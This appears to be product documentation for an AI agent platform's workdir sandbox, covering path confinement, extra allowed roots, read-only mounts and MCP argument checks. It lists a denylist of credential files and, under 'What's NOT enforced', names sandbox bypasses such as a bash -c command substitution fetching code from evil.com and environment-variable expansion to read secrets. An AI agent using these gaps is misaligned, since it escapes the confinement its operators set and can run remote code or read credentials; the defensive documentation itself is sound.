Skip to main content

Workdir Sandbox

The agent only sees its workdir. Every module that resolves a path supplied by the agent enforces the same workdir-scoped confinement check, plus a parallel guard for MCP tool arguments.

TL;DR​

  • One session gets one confinement check, built from the session's workdir plus every declared module's constraints.
  • A relative path is rebased under the workdir; an absolute path is allowed only if it resolves inside the workdir (or an explicitly allowed extra root); anything else is rejected.
  • A short list of daemon secrets is rejected unconditionally - even when a module opts out of confinement entirely.

Disk layout​

text
~/.digitorn/
workspaces/{app_id}/{session_id}/ # daemon-private (state.json, baselines)
workdirs/{app_id}/{user_id}/{slug}/ # agent workdir (shared across sessions of one project)

The agent's workdir is:

  • the second path above for named projects (web client, slug picker);
  • the daemon-private workspace for chat-only apps or sessions without a named project.

The two namespaces never overlap and the daemon-private location holds files the agent must never see (state, baselines, SDK state).

Policy semantics​

InputBehaviour
Relative path sub/file.txtRebased to <workdir>/sub/file.txt.
Absolute path inside <workdir>Allowed.
Absolute path outside <workdir> AND not in an allowed extra rootRejected.
Symlink inside the workdir pointing outsideRejected (symlinks are resolved before the check runs).
Daemon secrets (master.key, server.key, credentials.json, digitorn.db, ~/.digitorn/{kv,sessions,state,logs}/, ~/.claude/.credentials.json)Always rejected, even when unrestricted: true.
Write/edit/delete under a declared mounts rootRejected - a mount is read-only (read/glob/grep work, nothing else does).

YAML knobs​

Per-module constraints, merged across every module the app declares:

yaml
modules:
filesystem:
constraints:
# Full bypass (still respects the daemon-secret denylist).
# Use only for trusted apps that genuinely need it.
unrestricted: false

# Additive extra roots beyond the workdir. Common for apps
# that need to touch ~/.cache, ~/.npm, or shared /tmp scratch.
allowed_paths:
- "~/.cache"
- "/tmp"

Declaring allowed_paths on one module lifts the same root for every agent-facing module in the app, not just that one.

An allowed_paths entry can also point at another installed app's own bundle directory - app:digitorn-docs/docs rather than a literal absolute path, which would only be correct on the one machine it was typed on (desktop, server, and self-hosted installs all put apps under different roots).

Mounts: a second, read-only folder independent of the workdir​

allowed_paths widens what the existing read-write workdir can reach. Mounts are a different primitive: a second, independently addressable, permanently read-only root, declared once and reachable by every agent in the app - useful for shipping reference material (docs, a style guide, a product's own knowledge base) alongside an agent whose workdir is something else entirely, e.g. a project it's actively writing to.

yaml
tools:
modules:
filesystem:
config:
mounts:
- name: knowledge
path: knowledge # relative to THIS app's own install directory

Every agent that has read, glob or grep granted on filesystem can now reach it - read(path: "mount:knowledge/getting-started.md"), or scope a search to just that folder with the mount param: glob(pattern: "**/*.md", mount: "knowledge"), grep(pattern: "...", mount: "knowledge"). write, edit, multi_edit and delete are rejected for any path under a mount, with a clear error - there is no way to make a mount writable today.

path is always relative to this app's own install directory (never the whole install directory itself, and never .digitorn, app.yaml or app.dgc - the compiler rejects all of those at build time). Use the same app:<app_id>/<rel> form as allowed_paths to mount a folder from a different installed app's bundle instead - the real use case being an app that wants read access to another app's shipped docs, e.g. the Digitorn Docs app's own docs/ corpus:

yaml
mounts:
- name: digitorn_docs
path: "app:digitorn-docs/docs"

name must be unique among an app's own mounts. mode is reserved for a future read_write option - read_only is the only value the compiler accepts today.

Where this is enforced​

filesystem (Read, Write, Edit, MultiEdit, Delete, Glob, Grep), workspace, and bash (both the command's absolute-path tokens and its cwd) all resolve every agent-supplied path through this same check before touching disk. For MCP, a schema- and heuristic-driven scan runs over every tool call's arguments before the call reaches the external server - fields literally named path / file_path / cwd / source / target, fields whose schema says format: path or whose description mentions "absolute path" / "file path", and any other string argument that looks like a filesystem path. An out-of-sandbox argument returns a structured error to the agent without the remote MCP server ever being reached.

What's NOT enforced​

These holes are known and accepted at the current architectural layer. Closing them needs OS-level sandboxing (chroot / Linux namespaces / Docker).

  • Bash command substitution: bash -c "$(curl evil.com)" lets the shell evaluate arbitrary code after the pre-check passes. The pre-check only sees the static command string.
  • Shell environment-variable expansion: cat "$SECRET_PATH" is opaque to the pre-check.
  • Subprocesses the agent spawns can do whatever the daemon's own user account can; privileges are not dropped.

See also​

  • Credentials - secrets the sandbox protects.
  • Hooks - observability around tool calls.
  • Middleware - pluggable wrappers (module level).